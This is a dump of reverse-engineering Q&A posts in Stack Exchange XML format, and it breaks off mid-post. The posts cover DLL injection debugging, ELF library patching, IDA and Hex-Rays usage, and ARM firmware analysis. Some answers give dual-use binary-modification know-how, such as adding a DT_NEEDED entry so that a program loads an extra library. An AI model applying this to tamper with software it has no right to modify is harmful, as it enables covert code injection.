  <row Id="4108" PostTypeId="2" ParentId="4107" CreationDate="2014-04-20T01:52:35.380" Score="1" Body="&lt;p&gt;In general you probably want to break (just) before the entry point is executed. The first code to be executed could be DllMain, a TLS callback, or a static constructor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should definitely start with static analysis if at all possible. Check out all entrypoints using IDA and figure out what they are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, edit the physical DLL file, dropping an int 3 in DllMain, and all TLS callbacks/static constructors. That should let you debug it immediately after injection. (disclaimer: I haven't actually tried this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to be that thorough, a bp on CreateThread may be enough (if your static analysis indicates that creating a thread is all that the entry point does).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, load the dll file in yourself using a manual mapping method. That way you'll have full control over what code is executed and when. Depending on the sophistication of the method used, this could break some or all of the DLL's functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further dynamic analysis depends on what you expect the DLL to be doing. If you think it's modifying code, take before/after snapshots of memory or use HookShark.  If you think it's doing malicious things outside the process use API Monitor or Process Monitor. Also consider using code instrumentation to find all calls from inside the DLL to other modules, or all writes to memory outside the DLL.&lt;/p&gt;&#xA;" OwnerUserId="3824" LastActivityDate="2014-04-20T01:52:35.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4109" PostTypeId="2" ParentId="4106" CreationDate="2014-04-20T04:37:47.483" Score="4" Body="&lt;p&gt;There is a legitimate situation where this can occur, which is called &quot;import forwarding&quot;.  That is, a DLL (such as kernel32.dll) might export a symbol, for which the implementation is held in another DLL (such as ntdll.dll).  A typical example of that is the heap allocation functions: HeapAlloc and HeapFree.  If you examine kernel32.dll, you will see that they are redirected to ntdll.RtlAllocateHeap and ntdll.RtlFreeHeap.  The reason for this is behavior is probably not particularly interesting (it's to do with maintaining compatibility).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is not to say that all such cases of direct calls into ntdll.dll are legitimate, but it might explain what you are seeing.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-04-20T04:37:47.483" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4110" PostTypeId="2" ParentId="4098" CreationDate="2014-04-20T18:25:55.190" Score="3" Body="&lt;p&gt;The required shared libraries are stored as &lt;code&gt;DT_NEEDED&lt;/code&gt; entries in the dynamic section of the executable. This entry, in turn, points into the dynamic string table. So, to add another library, you will need to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Parse the list of &lt;a href=&quot;http://www.sco.com/developers/gabi/latest/ch5.pheader.html&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;program headers&lt;/em&gt;&lt;/a&gt; and find the &lt;code&gt;PT_DYNAMIC&lt;/code&gt; entry&lt;/li&gt;&#xA;&lt;li&gt;Map its &lt;code&gt;p_vaddr&lt;/code&gt; back to a file offset using the other &lt;code&gt;PT_LOAD&lt;/code&gt; entries. (you could use the &lt;code&gt;p_offset&lt;/code&gt; field of the &lt;code&gt;PT_DYNAMIC&lt;/code&gt; entry itself but it's not guaranteed to be correct.)&lt;/li&gt;&#xA;&lt;li&gt;Read and parse the &lt;a href=&quot;http://www.sco.com/developers/gabi/latest/ch5.dynamic.html#dynamic_section&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;dynamic section&lt;/em&gt;&lt;/a&gt; entries until you hit &lt;code&gt;DT_NULL&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Remember address and size of the string table (&lt;code&gt;DT_STRTAB&lt;/code&gt;/&lt;code&gt;DT_STRSZ&lt;/code&gt;). Note that it is a virtual address and needs to be mapped back to file offset using the &lt;code&gt;PT_LOAD&lt;/code&gt; entries.&lt;/li&gt;&#xA;&lt;li&gt;Extend the string table with your library's name. You will probably need to find some other place for it since there's unlikely to be enough space at the table's end. If so, you may need to add another &lt;code&gt;PT_LOAD&lt;/code&gt; entry to make sure it ends up in the process memory. This will mean shifting all file offsets of other entries. But let's assume you've done it.&lt;/li&gt;&#xA;&lt;li&gt;Go through the dynamic section again, and update all entries that point into the string table with the new addresses. Also update &lt;code&gt;DT_STRTAB&lt;/code&gt;/&lt;code&gt;DT_STRSZ&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now you can finally add a new &lt;code&gt;DT_NEEDED&lt;/code&gt; entry for your lib, and another &lt;code&gt;DT_NULL&lt;/code&gt; terminator after it. And hope the new &lt;code&gt;DT_NULL&lt;/code&gt; did not overwrite anything important :)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-04-20T18:25:55.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4112" PostTypeId="1" CreationDate="2014-04-21T14:34:06.643" Score="3" ViewCount="3828" Body="&lt;p&gt;I'm trying to decompile a binary in IDA Pro. Currently I am looking at a list of pointers to strings, which represent game data (&quot;Left turn&quot;, &quot;Right turn&quot; etc). Frustratingly, it appears like nothing references the addresses storing this data, though I know they are used in the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am guessing the program is using some code to reference &quot;Left turn&quot; with pointer arithmetic, like &lt;code&gt;print(BASE_STRING_PTR + offset)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is difficult to detect though; I'm new to IDA and have been playing around with the buttons but haven't found anything short of trying &quot;Find references&quot; for each address above the address I want. I was hoping more experienced reverse engineers would have some advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is another tool that's good for this, awesome, though I'm on a Mac which limits me somewhat.&lt;/p&gt;&#xA;" OwnerUserId="4420" LastActivityDate="2014-04-21T14:41:27.630" Title="How to find &quot;references to addresses near this address&quot; in IDA Pro?" Tags="|ida|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4113" PostTypeId="2" ParentId="4112" CreationDate="2014-04-21T14:41:27.630" Score="4" Body="&lt;p&gt;In this case, the best approach is to use a debugger (either IDA Pro's debugger or another debugger of your choosing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the program in a debugger and set a hardware-read breakpoint on the first byte of one of the strings. Then interact with the program in a way that causes that given string to be accessed by the program (for example, something that causes the string to be displayed on the screen). The hardware breakpoint should trigger, allowing you to look at the call-stack in the debugger to see what code in the program caused the given string to be accessed.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-04-21T14:41:27.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4114" PostTypeId="1" AcceptedAnswerId="4115" CreationDate="2014-04-21T14:47:36.340" Score="0" ViewCount="3397" Body="&lt;p&gt;I want plugin for OllyDbg - strongOD 0.3.4.639 version. Where I find it for download? Thank for response.&lt;/p&gt;&#xA;" OwnerUserId="4205" LastActivityDate="2014-04-22T03:16:55.687" Title="Where I download plugin StrongOD 0.3.4.639?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4115" PostTypeId="2" ParentId="4114" CreationDate="2014-04-21T16:46:05.550" Score="2" Body="&lt;p&gt;I don't know about that version but you can find the latest version (0.4.8.892) here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/download.php?view.2028&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tuts4you.com/download.php?view.2028&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about OllyDbg plugin system see &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;https://stackoverflow.com/questions/14574155/how-to-setup-plugins-for-ollydbg-2-x-x&quot;&gt;this&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://www.ollydbg.de/Help/i_Plugins.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-04-22T03:16:55.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4116" PostTypeId="1" CreationDate="2014-04-21T21:31:51.220" Score="1" ViewCount="853" Body="&lt;p&gt;I am looking at an unstripped ARM elf firmware file using IDA Pro. There is an &lt;code&gt;init()&lt;/code&gt; function and a &lt;code&gt;main()&lt;/code&gt; function. From my understanding of the logic, it's probably structured like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;init()&#xA;while (1) {&#xA;   main();  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or the &lt;code&gt;main()&lt;/code&gt; itself contains a super loop. However, the strange things are 1) I am not able to find any calling references for the &lt;code&gt;main()&lt;/code&gt;. 2) Nor can I identify a super loop structure inside &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;main()&lt;/code&gt; is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  B1: PUSH    {R3-R7,LR}&#xA;  ...&#xA;RN_end_of_main:&#xA;  B2: POP     {R3-R7}&#xA;  B3: POP     {R3}&#xA;  B4: BX      R3&#xA;  (end of main)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;init()&lt;/code&gt; is like this (directly following main()):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  A1: PUSH    {R3-R7,LR}&#xA;      ...&#xA;  A2: LDR     R0, main+1    # This is the only place that references main()&#xA;  A3: B       RN_end_of_main&#xA;  (end of init)&#xA;  (data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A1, A2, .. B3&lt;/code&gt; are line numbers added by myself here for easier explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, IDA Pro shows &quot;Three are no refs to main()&quot; when using &quot;Jumps to xrefs to operand...&quot; function. And line A2 is the only place in the whole firmware disassembly that references &lt;code&gt;main()&lt;/code&gt;. However , it put address &lt;code&gt;main+1&lt;/code&gt; to &lt;code&gt;R0&lt;/code&gt; which I don't understand. It looks like &lt;code&gt;R0&lt;/code&gt; is not used after jumping to &lt;code&gt;RN_end_of_main&lt;/code&gt;, and the &lt;code&gt;init()&lt;/code&gt; will just return using the originally pushed &lt;code&gt;LR&lt;/code&gt; which will go nowhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything missing in my understanding of this code? And is there some hidden way that &lt;code&gt;main()&lt;/code&gt; can be called?&lt;/p&gt;&#xA;" OwnerUserId="4278" LastEditorUserId="4278" LastEditDate="2014-04-21T21:37:37.753" LastActivityDate="2014-05-04T19:12:25.130" Title="Cannot find the caller of the main function in a disassembled firmware" Tags="|ida|disassembly|binary-analysis|arm|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="4117" PostTypeId="1" AcceptedAnswerId="4119" CreationDate="2014-04-22T01:07:49.937" Score="4" ViewCount="15092" Body="&lt;p&gt;IDA PRO's Hex-Ray gives me these variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  void *v7; // esp@1&#xA;  const char *v8; // ebx@1&#xA;  PLAYER *v9; // ebp@1&#xA;  int v10; // edi@5&#xA;  PLAYER *v11; // edx@6&#xA;  int v12; // ecx@9&#xA;  int v13; // esi@17&#xA;  int v14; // eax@33&#xA;  const char v15; // al@36&#xA;  const char *v16; // ebx@45&#xA;  PLAYER *v17; // eax@50&#xA;  int v18; // esi@51&#xA;  const CHAR *v19; // ecx@54&#xA;  int v20; // edx@56&#xA;  unsigned int v21; // eax@61&#xA;  signed int v22; // ebx@61&#xA;  ARENA *v23; // eax@63&#xA;  ARENA *v24; // edx@63&#xA;  int v25; // ecx@63&#xA;  int v26; // esi@64&#xA;  signed int v27; // edi@65&#xA;  int v28; // eax@66&#xA;  ARENA *v29; // ecx@66&#xA;  int v30; // esi@69&#xA;  int v31; // edi@71&#xA;  int v32; // esi@71&#xA;  signed int v33; // ecx@74&#xA;  int v34; // eax@75&#xA;  const CHAR *v35; // edi@78&#xA;  signed int v36; // ecx@78&#xA;  signed int v37; // ecx@81&#xA;  const void *v38; // esi@81&#xA;  const CHAR *v39; // edi@81&#xA;  unsigned int v40; // edx@81&#xA;  signed int v41; // ecx@81&#xA;  const char v42; // al@89&#xA;  const char *v43; // ebx@89&#xA;  const char v44; // al@90&#xA;  const char v45; // al@96&#xA;  const char *v46; // ebx@96&#xA;  const char v47; // al@97&#xA;  const char v48; // al@103&#xA;  const char *v49; // ebx@103&#xA;  const char v50; // al@104&#xA;  int v51; // ebx@107&#xA;  const char *v52; // edx@108&#xA;  unsigned int v53; // kr48_4@108&#xA;  unsigned int v54; // kr50_4@108&#xA;  const char *v55; // edi@108&#xA;  unsigned int v56; // kr58_4@110&#xA;  const char *v57; // esi@110&#xA;  const char *v58; // edi@110&#xA;  int v59; // ecx@110&#xA;  bool v60; // zf@110&#xA;  int v61; // edi@121&#xA;  int i; // esi@121&#xA;  const char *v63; // eax@122&#xA;  signed int v64; // esi@126&#xA;  const char *v65; // ebx@134&#xA;  PLAYER *v66; // eax@140&#xA;  int v67; // edx@141&#xA;  int v68; // ecx@141&#xA;  PLAYER *v69; // eax@146&#xA;  int v70; // edx@147&#xA;  int v71; // ecx@147&#xA;  const CHAR v72; // cl@153&#xA;  int v73; // eax@153&#xA;  const CHAR *j; // edx@153&#xA;  char v75; // cl@156&#xA;  const CHAR v76; // cl@157&#xA;  int v77; // eax@157&#xA;  const CHAR *k; // edx@157&#xA;  char v79; // cl@160&#xA;  const CHAR v80; // cl@161&#xA;  int v81; // eax@161&#xA;  const CHAR *l; // edx@161&#xA;  char *v83; // eax@163&#xA;  const CHAR v84; // al@171&#xA;  int v85; // esi@171&#xA;  const CHAR *m; // ecx@171&#xA;  char v87; // al@174&#xA;  const CHAR v88; // al@175&#xA;  int v89; // esi@175&#xA;  const CHAR *n; // ecx@175&#xA;  const CHAR v91; // al@180&#xA;  int v92; // esi@180&#xA;  const CHAR *ii; // ecx@180&#xA;  const char *v94; // ebx@189&#xA;  const char v95; // al@200&#xA;  const char *v96; // ebx@200&#xA;  const char v97; // al@201&#xA;  ARENA *v98; // eax@204&#xA;  unsigned int v99; // kr68_4@208&#xA;  int v100; // edi@208&#xA;  PLAYER **v101; // ebx@209&#xA;  int v102; // ebx@215&#xA;  PLAYER *v103; // ecx@217&#xA;  __int64 v104; // qax@218&#xA;  int v105; // ecx@218&#xA;  __int64 v106; // qax@218&#xA;  int v107; // ST24_4@218&#xA;  __int64 v108; // qax@218&#xA;  PLAYER *v109; // esi@223&#xA;  int v110; // ST24_4@224&#xA;  int v111; // ST1C_4@224&#xA;  int v112; // ST18_4@224&#xA;  char *v113; // eax@224&#xA;  ARENA *v114; // eax@226&#xA;  signed int v115; // ecx@228&#xA;  int v116; // eax@228&#xA;  ENCRYPTION *v117; // ecx@230&#xA;  int v118; // edi@230&#xA;  int v119; // edx@233&#xA;  int v120; // edi@233&#xA;  unsigned __int64 v121; // st7@233&#xA;  DWORD v122; // eax@235&#xA;  int v123; // ecx@235&#xA;  DWORD v124; // eax@237&#xA;  unsigned __int64 v125; // st7@237&#xA;  int v126; // ecx@237&#xA;  int v127; // edx@239&#xA;  DWORD v128; // edi@239&#xA;  time_t v129; // ST20_8@242&#xA;  signed __int64 v130; // qax@242&#xA;  signed int v131; // edi@242&#xA;  __int64 v132; // qax@243&#xA;  __int64 v133; // ST20_8@243&#xA;  signed int v134; // ecx@243&#xA;  __int64 v135; // ST18_8@243&#xA;  int v136; // ecx@247&#xA;  PLAYER *v137; // eax@268&#xA;  int v138; // ecx@269&#xA;  const char v139; // al@276&#xA;  const char *v140; // edi@276&#xA;  const char v141; // al@277&#xA;  const char v142; // al@279&#xA;  __int16 v143; // ax@284&#xA;  PLAYER *v144; // edi@289&#xA;  ARENA *v145; // eax@292&#xA;  int v146; // ecx@292&#xA;  signed int v147; // edx@293&#xA;  PLAYER *v148; // eax@294&#xA;  ARENA *v149; // eax@296&#xA;  int v150; // ecx@296&#xA;  signed int v151; // edx@297&#xA;  PLAYER *v152; // eax@298&#xA;  PLAYER *v153; // eax@308&#xA;  char *v154; // eax@309&#xA;  const char v155; // al@312&#xA;  const char *v156; // edi@312&#xA;  const char v157; // al@313&#xA;  ARENA *v158; // eax@318&#xA;  unsigned int v159; // kr88_4@320&#xA;  const char v160; // al@323&#xA;  const char *v161; // edi@323&#xA;  const char v162; // al@324&#xA;  const char v163; // al@330&#xA;  const char *v164; // edi@330&#xA;  const char v165; // al@331&#xA;  int v166; // eax@336&#xA;  __int16 v167; // ax@342&#xA;  PLAYER *v168; // esi@346&#xA;  int v169; // edx@350&#xA;  const char v170; // al@384&#xA;  const char *v171; // edi@384&#xA;  const char v172; // al@385&#xA;  PLAYER *v173; // esi@392&#xA;  int v174; // edx@397&#xA;  PLAYER *v175; // esi@403&#xA;  int v176; // edi@408&#xA;  int v177; // eax@409&#xA;  int v178; // esi@410&#xA;  int v179; // eax@410&#xA;  ARENA *v180; // ecx@413&#xA;  int v181; // edi@415&#xA;  ARENA **v182; // esi@416&#xA;  PLAYER *v183; // ecx@423&#xA;  int v184; // edi@427&#xA;  PLAYER **v185; // esi@428&#xA;  PLAYER *v186; // ecx@437&#xA;  ARENA *v187; // ecx@443&#xA;  FILE *v188; // eax@449&#xA;  const char *v189; // edi@449&#xA;  int v190; // ebx@451&#xA;  int v191; // eax@451&#xA;  FILE *v192; // eax@454&#xA;  ARENA *v193; // eax@455&#xA;  int v194; // esi@456&#xA;  signed int v195; // edi@457&#xA;  PLAYER *v196; // eax@458&#xA;  const char *v197; // esi@461&#xA;  int v198; // eax@461&#xA;  signed int v199; // edi@463&#xA;  int v200; // edx@471&#xA;  time_t v201; // ST20_8@478&#xA;  signed __int64 v202; // qax@478&#xA;  signed int v203; // esi@478&#xA;  signed int v204; // ecx@481&#xA;  int v205; // edi@481&#xA;  const char *v206; // esi@481&#xA;  bool v207; // zf@481&#xA;  const char *v208; // ebx@485&#xA;  signed int v209; // ebx@490&#xA;  char *v210; // eax@491&#xA;  int v211; // ecx@491&#xA;  int v212; // edi@494&#xA;  signed int v213; // ecx@496&#xA;  signed int v214; // ecx@499&#xA;  const void *v215; // esi@499&#xA;  const CHAR *v216; // edi@499&#xA;  unsigned int v217; // edx@499&#xA;  signed int v218; // ecx@499&#xA;  const CHAR *v219; // edi@502&#xA;  signed int v220; // ecx@502&#xA;  signed int v221; // ecx@505&#xA;  const void *v222; // esi@505&#xA;  const CHAR *v223; // edi@505&#xA;  unsigned int v224; // edx@505&#xA;  signed int v225; // ecx@505&#xA;  int v226; // ebx@516&#xA;  signed int v227; // esi@516&#xA;  ARENA *v228; // edx@520&#xA;  int v229; // eax@520&#xA;  int v230; // esi@520&#xA;  int v231; // edi@520&#xA;  int v232; // edx@520&#xA;  int v233; // ecx@524&#xA;  ARENA *v234; // eax@527&#xA;  int v235; // edx@527&#xA;  int v236; // ecx@527&#xA;  __int16 v237; // ax@527&#xA;  int v238; // eax@527&#xA;  int v239; // ecx@527&#xA;  int v240; // eax@527&#xA;  int v241; // eax@540&#xA;  ARENA *v242; // ecx@543&#xA;  char *v243; // eax@543&#xA;  char *v244; // edx@544&#xA;  char *v245; // ebx@546&#xA;  DWORD v246; // eax@546&#xA;  ARENA *v247; // esi@547&#xA;  char *v248; // esi@550&#xA;  signed int v249; // ebp@554&#xA;  int v250; // eax@557&#xA;  int v251; // eax@562&#xA;  signed int v252; // ecx@570&#xA;  int v253; // edi@570&#xA;  const char *v254; // esi@570&#xA;  bool v255; // zf@570&#xA;  int v256; // eax@575&#xA;  const char *v257; // edx@578&#xA;  ARENA *v258; // ecx@585&#xA;  signed int v259; // ebx@586&#xA;  PLAYER *v260; // ecx@587&#xA;  signed int v261; // esi@587&#xA;  __int64 v262; // qax@590&#xA;  __int64 v263; // qax@591&#xA;  int v264; // edi@602&#xA;  signed int v265; // ecx@604&#xA;  signed int v266; // ecx@607&#xA;  const void *v267; // esi@607&#xA;  const CHAR *v268; // edi@607&#xA;  unsigned int v269; // edx@607&#xA;  signed int v270; // ecx@607&#xA;  const CHAR *v271; // edi@610&#xA;  signed int v272; // ecx@610&#xA;  signed int v273; // ecx@613&#xA;  const void *v274; // esi@613&#xA;  const CHAR *v275; // edi@613&#xA;  unsigned int v276; // edx@613&#xA;  signed int v277; // ecx@613&#xA;  int v278; // edx@617&#xA;  int v279; // ecx@621&#xA;  int v280; // edx@638&#xA;  char *v281; // ebx@638&#xA;  unsigned int v282; // ebx@646&#xA;  PLAYER *v283; // eax@646&#xA;  signed int v284; // ecx@654&#xA;  signed int v285; // ecx@658&#xA;  signed int v286; // ecx@662&#xA;  signed int v287; // ecx@671&#xA;  int v288; // edi@671&#xA;  const char *v289; // esi@671&#xA;  bool v290; // zf@671&#xA;  signed int v291; // ecx@675&#xA;  int v292; // edi@675&#xA;  const char *v293; // esi@675&#xA;  bool v294; // zf@675&#xA;  signed int v295; // ecx@682&#xA;  int v296; // eax@683&#xA;  const char v297; // al@688&#xA;  const char *v298; // edi@688&#xA;  const CHAR *jj; // ecx@688&#xA;  const char v300; // al@691&#xA;  const CHAR v301; // al@692&#xA;  int v302; // edi@692&#xA;  const CHAR *kk; // ecx@692&#xA;  const char v304; // al@696&#xA;  int *v305; // edi@704&#xA;  int *v306; // esi@704&#xA;  char v307; // al@707&#xA;  int v308; // ecx@708&#xA;  int v309; // edi@708&#xA;  int v310; // esi@708&#xA;  const char *v311; // eax@709&#xA;  ARENA *v312; // edi@711&#xA;  ARENA *v313; // ecx@718&#xA;  int v314; // eax@718&#xA;  int v315; // eax@723&#xA;  __int64 v316; // qax@727&#xA;  __int64 v317; // qax@728&#xA;  __int64 v318; // qax@729&#xA;  const char *v319; // ebx@730&#xA;  int v320; // edi@737&#xA;  char *v321; // ST1C_4@737&#xA;  int v322; // esi@737&#xA;  ARENA *v323; // eax@738&#xA;  ARENA *v324; // eax@743&#xA;  DWORD v325; // eax@748&#xA;  int v326; // edx@749&#xA;  PLAYER *v327; // esi@749&#xA;  bool v328; // sf@749&#xA;  ARENA **v329; // edi@750&#xA;  ARENA *v330; // eax@751&#xA;  int v331; // ebx@751&#xA;  signed int v332; // esi@752&#xA;  unsigned int v333; // krD8_4@774&#xA;  ARENA **v334; // esi@775&#xA;  int v335; // ebp@776&#xA;  signed int v336; // edi@777&#xA;  ARENA *v337; // edx@784&#xA;  int v338; // esi@785&#xA;  int v339; // ecx@785&#xA;  const char *v340; // ecx@797&#xA;  const char v341; // al@799&#xA;  const CHAR *ll; // edx@799&#xA;  const char v343; // al@803&#xA;  const char v344; // al@804&#xA;  const char *v345; // ecx@804&#xA;  int v346; // eax@819&#xA;  int v347; // eax@833&#xA;  unsigned int v348; // krE8_4@836&#xA;  int v349; // edi@836&#xA;  PLAYER **v350; // ebp@837&#xA;  char *v351; // [sp+4h] [bp-1608Ch]@668&#xA;  const char *v352; // [sp+8h] [bp-16088h]@668&#xA;  char *v353; // [sp+Ch] [bp-16084h]@52&#xA;  char *v354; // [sp+Ch] [bp-16084h]@351&#xA;  char *v355; // [sp+Ch] [bp-16084h]@598&#xA;  char *v356; // [sp+Ch] [bp-16084h]@644&#xA;  int v357; // [sp+Ch] [bp-16084h]@668&#xA;  const char *v358; // [sp+10h] [bp-16080h]@52&#xA;  const char *v359; // [sp+10h] [bp-16080h]@57&#xA;  const char *v360; // [sp+10h] [bp-16080h]@218&#xA;  const char *v361; // [sp+10h] [bp-16080h]@351&#xA;  int v362; // [sp+10h] [bp-16080h]@525&#xA;  const char *v363; // [sp+10h] [bp-16080h]@598&#xA;  const char *v364; // [sp+10h] [bp-16080h]@644&#xA;  int v365; // [sp+10h] [bp-16080h]@668&#xA;  int v366; // [sp+14h] [bp-1607Ch]@52&#xA;  char v367; // [sp+14h] [bp-1607Ch]@54&#xA;  char v368; // [sp+14h] [bp-1607Ch]@218&#xA;  int v369; // [sp+14h] [bp-1607Ch]@351&#xA;  int v370; // [sp+14h] [bp-1607Ch]@525&#xA;  int v371; // [sp+14h] [bp-1607Ch]@598&#xA;  char *v372; // [sp+14h] [bp-1607Ch]@644&#xA;  int v373; // [sp+14h] [bp-1607Ch]@668&#xA;  time_t v374; // [sp+18h] [bp-16078h]@1&#xA;  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63&#xA;  int v376; // [sp+30h] [bp-16060h]@69&#xA;  int v377; // [sp+34h] [bp-1605Ch]@61&#xA;  DWORD ExitCode; // [sp+38h] [bp-16058h]@233&#xA;  char v379; // [sp+3Fh] [bp-16051h]@420&#xA;  size_t Size; // [sp+40h] [bp-16050h]@69&#xA;  int v381; // [sp+44h] [bp-1604Ch]@233&#xA;  int v382; // [sp+48h] [bp-16048h]@69&#xA;  int v383; // [sp+4Ch] [bp-16044h]@69&#xA;  char v384; // [sp+50h] [bp-16040h]@527&#xA;  __int16 v385; // [sp+51h] [bp-1603Fh]@527&#xA;  int v386; // [sp+53h] [bp-1603Dh]@527&#xA;  int v387; // [sp+57h] [bp-16039h]@527&#xA;  __int16 v388; // [sp+5Bh] [bp-16035h]@527&#xA;  __int16 v389; // [sp+5Dh] [bp-16033h]@527&#xA;  int v390; // [sp+60h] [bp-16030h]@233&#xA;  const CHAR KeyName; // [sp+64h] [bp-1602Ch]@157&#xA;  const CHAR CommandLine; // [sp+84h] [bp-1600Ch]@52&#xA;  char v393; // [sp+85h] [bp-1600Bh]@773&#xA;  const CHAR Dest; // [sp+184h] [bp-15F0Ch]@69&#xA;  __int16 v395; // [sp+185h] [bp-15F0Bh]@342&#xA;  char v396; // [sp+187h] [bp-15F09h]@342&#xA;  const CHAR Str1; // [sp+284h] [bp-15E0Ch]@153&#xA;  const CHAR AppName; // [sp+2C4h] [bp-15DCCh]@76&#xA;  int buf; // [sp+304h] [bp-15D8Ch]@45&#xA;  char v400; // [sp+309h] [bp-15D87h]@208&#xA;  char v401; // [sp+404h] [bp-15C8Ch]@255&#xA;  char v402; // [sp+405h] [bp-15C8Bh]@255&#xA;  char v403; // [sp+414h] [bp-15C7Ch]@255&#xA;  CHAR StartupInfo[4]; // [sp+504h] [bp-15B8Ch]@163&#xA;  int v405; // [sp+510h] [bp-15B80h]@309&#xA;  char v406; // [sp+604h] [bp-15A8Ch]@741&#xA;  char v407; // [sp+605h] [bp-15A8Bh]@741&#xA;  char v408; // [sp+606h] [bp-15A8Ah]@741&#xA;  __int16 v409; // [sp+607h] [bp-15A89h]@748&#xA;  char v410; // [sp+609h] [bp-15A87h]@765&#xA;  char v411; // [sp+804h] [bp-1588Ch]@638&#xA;  char v412; // [sp+805h] [bp-1588Bh]@638&#xA;  char v413; // [sp+2804h] [bp-1388Ch]@543&#xA;  char Str; // [sp+2805h] [bp-1388Bh]@544&#xA;  char v415; // [sp+2815h] [bp-1387Bh]@546&#xA;  int v416; // [sp+16084h] [bp-Ch]@1&#xA;  int (*v417)(); // [sp+16088h] [bp-8h]@1&#xA;  int v418; // [sp+1608Ch] [bp-4h]@1&#xA;  const char *Buf1b; // [sp+160A0h] [bp+10h]@485&#xA;  const char *Buf1a; // [sp+160A0h] [bp+10h]@489&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was told on email by a very skilled reverser how to handle this, I don't know if he wants me to say his/her name so I'll not say anything.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they said start doing repairs to arrays or structures starting at &lt;code&gt;[sp+####h]&lt;/code&gt; and do calculations from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first part to start repairing is the since it begins with &lt;code&gt;[sp+#h]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char *v351; // [sp+4h] [bp-1608Ch]@668 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you go down to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  char *v372; // [sp+14h] [bp-1607Ch]@644&#xA;  int v373; // [sp+14h] [bp-1607Ch]@668&#xA;  time_t v374; // [sp+18h] [bp-16078h]@1&#xA;  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63&#xA;  int v376; // [sp+30h] [bp-16060h]@69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  char *v372; // [sp+14h]                                      [0]&#xA;  int v373; // [sp+14h]                     14-14 = 0 goes up  [4]&#xA;  time_t v374; // [sp+18h] [bp-16078h]@1    18-14 = 4 goes up  [16]&#xA;  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63  28-18 = 16 goes up [8]&#xA;  int v376; // [sp+30h] [bp-16060h]@69      30-28 = 8 goes up  [4]&#xA;  int v377; // [sp+34h] [bp-1605Ch]@61       34-30 = 4 goes up  [ignored]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;0&lt;/code&gt; would mean char? yet it's a pointer to a char (4 bytes)?, Probably shouldn't touch those&lt;br&gt;&#xA;The &lt;code&gt;4&lt;/code&gt; after would be int which seems right.&lt;br&gt;&#xA;The &lt;code&gt;16&lt;/code&gt; after looks like &lt;code&gt;2 x 8 bytes&lt;/code&gt;.&lt;br&gt;&#xA;Since time_t could be 4 bytes or 8 